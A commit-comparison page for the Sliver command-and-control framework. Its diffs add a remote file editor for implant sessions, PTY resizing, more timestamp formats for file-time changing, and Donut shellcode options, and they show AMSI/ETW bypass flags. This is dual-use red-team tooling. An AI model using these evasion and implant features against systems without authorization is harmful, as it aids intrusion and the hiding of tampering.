Compare commits

..
Author SHA1 Message Date
moloch-- 86f41e9abc Fix shell pty resizing 2026-02-02 19:19:14 -08:00
moloch-- 11d6af8aa0 Fix duplicated 'unknown cmd' output 2026-02-01 10:44:38 -08:00
moloch-- 54dc6dcec3 v1.6.10 2026-01-31 17:45:38 -08:00
Joe c7412d4d5b Merge pull request #2154 from BishopFox/go/v1.25.6
Go/v1.25.6
2026-01-31 09:44:33 -07:00
moloch-- c3817dc175 Pin tag patch version Go 1.25.6 2026-01-31 08:20:09 -08:00
moloch-- 09cedf588e Update to go 1.25.6 2026-01-31 08:18:39 -08:00
moloch-- 66aed89ebd Merge master 2026-01-31 08:03:24 -08:00
moloch-- 16397e7a0f Update default runtime arg 2026-01-31 07:53:18 -08:00
moloch-- 5062b483b7 Update wasm-donut 2026-01-31 07:43:21 -08:00
moloch-- b268295c8d Switch to wasm-donut 2026-01-30 22:23:56 -08:00
moloch-- 2b3f23cec9 Move donut options to generate flags 2026-01-30 17:19:57 -08:00
Joe 110658ec39 Merge pull request #2152 from BishopFox/feature/shellcode-encoders
Feature/shellcode encoders
2026-01-30 16:09:46 -07:00
moloch-- e99999ebb6 Cleanup shellcode encoder list output 2026-01-30 14:20:48 -08:00
moloch-- 24795e7cba Update shellcode encode rpc to support new encoders 2026-01-30 14:14:45 -08:00
moloch-- 32e3386a3e Add sgn to unified ShellcodeEncoders 2026-01-30 13:40:16 -08:00
moloch-- 7feea8bef3 Add more shellcode encoders 2026-01-30 13:02:14 -08:00
moloch-- d182434d54 Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:45:22 -08:00
moloch-- 0237af0c6e Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:45:08 -08:00
moloch-- 1fa36e46c4 Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:44:49 -08:00
moloch-- 4d9bae0778 Port basic xor shellcode encoder to golang 2026-01-30 12:28:15 -08:00
moloch-- 9a9b40e400 Move sng to server/encoders/shellcode/sgn 2026-01-30 11:51:57 -08:00
moloch-- d784b305ef Move sng to server/encoders/shellcode/sgn 2026-01-30 11:50:24 -08:00
moloch-- 7a224b4757 Update year 2026-01-30 11:40:58 -08:00
Joe 76ae704ce4 Merge pull request #2151 from BishopFox/feature/xxd
Feature/xxd
2026-01-30 12:06:11 -07:00
moloch-- 71cd8fa610 Skip generate tests if there's no edits to related code 2026-01-30 10:35:16 -08:00
moloch-- e9fdcc1285 Improve hex-edit ux 2026-01-30 10:30:15 -08:00
moloch-- 870c995ae2 Add hexedit feature 2026-01-30 10:20:56 -08:00
Joe 15d7e7c4d1 Merge pull request #2150 from BishopFox/feature/chtimes
Expand time formats supported by chtimes
2026-01-30 10:50:56 -07:00
moloch-- 750cdfce0a Expand time formats supported by chtimes 2026-01-30 09:41:55 -08:00
Joe 0f128a22b3 Merge pull request #1807 from navsec/socks5-stability
SOCKS5 Stability Improvements for HTTP/mTLS Transports
2026-01-30 10:07:13 -07:00
Joe 3296a8f483 Merge branch 'master' into socks5-stability
Signed-off-by: Joe <[email protected]>
2026-01-30 10:07:05 -07:00
Joe b77ade2bb9 Merge pull request #2148 from BishopFox/fix/info
Fix/info
2026-01-30 08:47:32 -07:00
moloch-- 41dc54d736 Implement mount for darwin 2026-01-29 22:22:59 -08:00
moloch-- 8a0694cb38 Add mount on darwin 2026-01-29 22:08:28 -08:00
moloch-- 52c0618bc3 Add os version implementations for linux/darwin 2026-01-29 21:50:16 -08:00
moloch-- e2e1912628 Add search to edit cmd 2026-01-29 21:01:16 -08:00
moloch-- 36794f1b07 Implement skip to line number 2026-01-29 20:50:11 -08:00
moloch-- ccd8f75b03 v1.6.9 2026-01-29 20:36:45 -08:00
moloch-- dc89afe404 Add optional line numbers 2026-01-29 20:32:15 -08:00
moloch-- 9db1f3a967 Add syntax highlighting 2026-01-29 20:22:23 -08:00
moloch-- a2ab3aede6 Implement 'edit' command 2026-01-29 20:07:51 -08:00
Joe 3c46cf2210 Merge branch 'master' into socks5-stability 2025-10-24 11:41:27 -07:00
Ronan Kervella edcdfb5937 Merge branch 'master' into socks5-stability 2024-12-04 09:36:59 -10:00
Ronan Kervella f81efdb38c Merge branch 'master' into socks5-stability 2024-12-02 15:40:40 -08:00
Ronan Kervella db34ded0a1 Merge branch 'master' into socks5-stability 2024-11-18 15:06:32 -08:00
navsec 8a7a92a9b9 Refine implant/server signaling for tunnel closures 2024-11-18 17:02:15 -06:00
navsec 3eda32f9d7 Performance Optimizations and Implant SOCKS Changes 2024-11-17 15:01:04 -06:00
navsec c18c193ea7 Improve SOCKS lifecycle mangement and resolve leak 2024-11-06 23:24:44 -06:00
navsec 79a8758448 SOCKS5 Stability Improvements for HTTP/mTLS 2024-10-31 12:46:40 -05:00
514 changed files with 66176 additions and 7274 deletions

No files matched your search

+1 -1
View File
@@ -44,7 +44,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Install Minisign
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
+1 -1
View File
@@ -19,7 +19,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Checkout repository
uses: actions/checkout@v6
+31 -5
View File
@@ -26,7 +26,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: OS Packages
run: |
@@ -48,8 +48,21 @@ jobs:
- name: Make Linux (amd64)
run: make linux-amd64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test Linux
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
macos-build-test:
@@ -60,7 +73,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Check Out Code
uses: actions/checkout@v6
@@ -74,8 +87,21 @@ jobs:
- name: Make MacOS (arm64)
run: make macos-arm64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test MacOS
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
clients-build:
name: Clients Build
@@ -85,7 +111,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Check Out Code
uses: actions/checkout@v6
+1 -1
View File
@@ -115,7 +115,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2025 Bishop Fox
Sliver Copyright (C) 2026 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+1
View File
@@ -25,6 +25,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
- `creds/` – Implements the 'creds' command group for the Sliver client console.
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
- `edit/` – Implements the 'edit' command for the Sliver client console.
- `environment/` – Implements the 'environment' command group for the Sliver client console.
- `exec/` – Implements the 'exec' command group for the Sliver client console.
- `exit/` – Implements the 'exit' command group for the Sliver client console.
+4 -4
View File
@@ -239,9 +239,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.BoolP("in-process", "i", false, "Run in the current sliver process")
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
addAliasCmd.Flags().AddFlagSet(f)
}
@@ -374,7 +374,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
}
con.PrintWarnf("%s", msgStr)
confirm := false
_ = forms.Confirm("Do you want to continue?", &confirm)
forms.Confirm("Do you want to continue?", &confirm)
if !confirm {
return
}
+38
View File
@@ -0,0 +1,38 @@
package edit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
editCmd := &cobra.Command{
Use: consts.EditStr,
Short: "Edit a remote text file",
Long: help.GetHelpFor([]string{consts.EditStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
EditCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
f.String("syntax", "", "syntax highlighting lexer name (optional)")
f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
f.Bool("line-numbers", false, "show line numbers")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(editCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to edit"),
)
return []*cobra.Command{editCmd}
}
+380
View File
@@ -0,0 +1,380 @@
package edit
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"time"
"unicode/utf8"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/lexers"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const beaconPollInterval = 1 * time.Second
// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if !isText(data) {
con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
return
}
path := download.Path
if path == "" {
path = remotePath
}
lineEnding := detectLineEnding(data)
content := normalizeLineEndings(data)
lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
for {
result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
content = result.Content
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
uploadData := applyLineEnding(content, lineEnding)
if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
program := tea.NewProgram(model, tea.WithAltScreen())
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
syntaxName, _ := cmd.Flags().GetString("syntax")
selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
syntaxName = strings.TrimSpace(syntaxName)
if strings.EqualFold(syntaxName, "auto") {
syntaxName = ""
}
if syntaxName != "" {
if strings.EqualFold(syntaxName, "none") {
return nil, "none", nil
}
lexer := lexers.Get(syntaxName)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
}
name := lexer.Config().Name
if name == "" {
name = syntaxName
}
return lexer, name, nil
}
if selectSyntax {
options := syntaxOptions()
selection := "auto"
if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return detectSyntax(path, content)
}
return nil, "", err
}
if strings.EqualFold(selection, "none") {
return nil, "none", nil
}
if strings.EqualFold(selection, "auto") {
return detectSyntax(path, content)
}
lexer := lexers.Get(selection)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
}
name := lexer.Config().Name
if name == "" {
name = selection
}
return lexer, name, nil
}
return detectSyntax(path, content)
}
func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
lexer := lexers.Match(path)
if lexer == nil {
lexer = lexers.Analyse(content)
}
if lexer == nil {
lexer = lexers.Fallback
}
name := lexer.Config().Name
if name == "" {
name = "auto"
}
return lexer, name, nil
}
func syntaxOptions() []string {
names := lexers.Names(true)
sort.Strings(names)
options := make([]string, 0, len(names)+2)
options = append(options, "auto", "none")
options = append(options, names...)
return options
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func detectLineEnding(data []byte) string {
if strings.Contains(string(data), "\r\n") {
return "\r\n"
}
return "\n"
}
func normalizeLineEndings(data []byte) string {
content := strings.ReplaceAll(string(data), "\r\n", "\n")
content = strings.ReplaceAll(content, "\r", "\n")
return content
}
func applyLineEnding(content, lineEnding string) []byte {
if lineEnding == "\r\n" {
content = strings.ReplaceAll(content, "\n", "\r\n")
}
return []byte(content)
}
func isText(sample []byte) bool {
const max = 1024
if len(sample) > max {
sample = sample[:max]
}
for i, c := range string(sample) {
if i+utf8.UTFMax > len(sample) {
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
return false
}
}
return true
}
File diff suppressed because it is too large. Load diff
+21
View File
@@ -157,10 +157,25 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
var rows uint32
var cols uint32
if !noPty {
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
if err != nil || rowsInt <= 0 || colsInt <= 0 {
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
}
if err == nil && rowsInt > 0 && colsInt > 0 {
rows = uint32(rowsInt)
cols = uint32(colsInt)
}
}
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Path: hostProc,
EnablePTY: !noPty,
Rows: rows,
Cols: cols,
TunnelID: tunnel.ID,
})
if err != nil {
@@ -200,6 +215,12 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
}
}
stopPtyResize := func() {}
if !noPty {
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
}
defer stopPtyResize()
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
+97
View File
@@ -0,0 +1,97 @@
//go:build !windows
package exec
import (
"context"
"os"
"os/signal"
"sync"
"syscall"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGWINCH)
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-sigCh:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
signal.Stop(sigCh)
close(stopCh)
<-doneCh
})
}
}
+93
View File
@@ -0,0 +1,93 @@
//go:build windows
package exec
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"os"
"sync"
"time"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
ticker := time.NewTicker(250 * time.Millisecond)
defer ticker.Stop()
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-ticker.C:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
close(stopCh)
<-doneCh
})
}
}
+77 -10
View File
@@ -19,6 +19,8 @@ package filesystem
import (
"context"
"fmt"
"strconv"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -28,14 +30,77 @@ import (
"google.golang.org/protobuf/proto"
)
const chtimesDefaultLayout = "2006-01-02 15:04:05"
type chtimesTimeFormat struct {
name string
parse func(string) (int64, error)
}
func chtimesParseUnixSeconds(value string) (int64, error) {
parsed, err := strconv.ParseInt(value, 10, 64)
if err != nil {
return 0, err
}
return parsed, nil
}
func chtimesParseUnixMillis(value string) (int64, error) {
parsed, err := strconv.ParseInt(value, 10, 64)
if err != nil {
return 0, err
}
return time.UnixMilli(parsed).Unix(), nil
}
func chtimesParseLayout(layout string) func(string) (int64, error) {
return func(value string) (int64, error) {
parsed, err := time.Parse(layout, value)
if err != nil {
return 0, err
}
return parsed.Unix(), nil
}
}
func chtimesFormatFromFlags(cmd *cobra.Command) (chtimesTimeFormat, error) {
formatFlags := []struct {
flag string
format chtimesTimeFormat
}{
{flag: "unix", format: chtimesTimeFormat{name: "unix", parse: chtimesParseUnixSeconds}},
{flag: "unix-ms", format: chtimesTimeFormat{name: "unix-ms", parse: chtimesParseUnixMillis}},
{flag: "rfc3339", format: chtimesTimeFormat{name: "rfc3339", parse: chtimesParseLayout(time.RFC3339)}},
{flag: "rfc1123", format: chtimesTimeFormat{name: "rfc1123", parse: chtimesParseLayout(time.RFC1123)}},
}
var selected *chtimesTimeFormat
selectedFlag := ""
for _, candidate := range formatFlags {
enabled, _ := cmd.Flags().GetBool(candidate.flag)
if !enabled {
continue
}
if selected != nil {
return chtimesTimeFormat{}, fmt.Errorf("only one time format flag can be used (--%s and --%s are both set)", selectedFlag, candidate.flag)
}
selected = &candidate.format
selectedFlag = candidate.flag
}
if selected == nil {
return chtimesTimeFormat{name: "datetime", parse: chtimesParseLayout(chtimesDefaultLayout)}, nil
}
return *selected, nil
}
// ChtimesCmd - Change the access and modified time of a file on the remote file system.
func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// DateTime layout (https://pkg.go.dev/time)
layout := "2006-01-02 15:04:05"
filePath := args[0]
if filePath == "" {
@@ -43,33 +108,35 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
return
}
atime := args[1]
format, err := chtimesFormatFromFlags(cmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
atime := args[1]
if atime == "" {
con.PrintErrorf("Missing parameter: Last accessed time id\n")
return
}
t_a, err := time.Parse(layout, atime)
unixAtime, err := format.parse(atime)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Invalid access time (%s): %s\n", format.name, err)
return
}
unixAtime := t_a.Unix()
mtime := args[2]
if mtime == "" {
con.PrintErrorf("Missing parameter: Last modified time id\n")
return
}
t_b, err := time.Parse(layout, mtime)
unixMtime, err := format.parse(mtime)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Invalid modified time (%s): %s\n", format.name, err)
return
}
unixMtime := t_b.Unix()
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
Request: con.ActiveTarget.Request(cmd),
+8
View File
@@ -342,6 +342,14 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.Uint32("donut-entropy", 1, "Donut entropy (1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
f.Bool("donut-compress", false, "Enable Donut compression (aplib) (windows shellcode only)")
f.Uint32("donut-exitopt", 1, "Donut exit option (1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
f.Uint32("donut-bypass", 3, "Donut bypass mode (1=none, 2=abort, 3=continue) (windows shellcode only)")
f.Uint32("donut-headers", 1, "Donut headers handling (1=overwrite, 2=keep) (windows shellcode only)")
f.Bool("donut-thread", false, "Run unmanaged EXE entrypoint as a new thread (windows shellcode only)")
f.Bool("donut-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (windows shellcode only)")
f.Uint32("donut-oep", 0, "Donut original entry point override (0=default) (windows shellcode only)")
})
}
+63
View File
@@ -409,6 +409,12 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
return "", nil
}
donutConfig, err := parseDonutFlags(cmd, targetOS, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
var tunIP net.IP
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
@@ -480,11 +486,68 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
DonutConfig: donutConfig,
}
return name, config
}
func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.DonutConfig, error) {
donutEntropy, _ := cmd.Flags().GetUint32("donut-entropy")
donutCompressEnabled, _ := cmd.Flags().GetBool("donut-compress")
donutExitOpt, _ := cmd.Flags().GetUint32("donut-exitopt")
donutBypass, _ := cmd.Flags().GetUint32("donut-bypass")
donutHeaders, _ := cmd.Flags().GetUint32("donut-headers")
donutThread, _ := cmd.Flags().GetBool("donut-thread")
donutUnicode, _ := cmd.Flags().GetBool("donut-unicode")
donutOEP, _ := cmd.Flags().GetUint32("donut-oep")
anyChanged := cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-compress") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
cmd.Flags().Changed("donut-headers") ||
cmd.Flags().Changed("donut-thread") ||
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
if targetOS != "windows" || configFormat != clientpb.OutputFormat_SHELLCODE {
if anyChanged {
con.PrintWarnf("Donut options only apply to Windows shellcode, ignoring.\n")
}
return nil, nil
}
if donutEntropy < 1 || donutEntropy > 3 {
return nil, fmt.Errorf("donut-entropy must be between 1 and 3")
}
if donutExitOpt < 1 || donutExitOpt > 3 {
return nil, fmt.Errorf("donut-exitopt must be between 1 and 3")
}
if donutBypass < 1 || donutBypass > 3 {
return nil, fmt.Errorf("donut-bypass must be between 1 and 3")
}
if donutHeaders < 1 || donutHeaders > 2 {
return nil, fmt.Errorf("donut-headers must be 1 or 2")
}
donutCompress := uint32(1)
if donutCompressEnabled {
donutCompress = 2
}
return &clientpb.DonutConfig{
Entropy: donutEntropy,
Compress: donutCompress,
ExitOpt: donutExitOpt,
Bypass: donutBypass,
Headers: donutHeaders,
Thread: donutThread,
Unicode: donutUnicode,
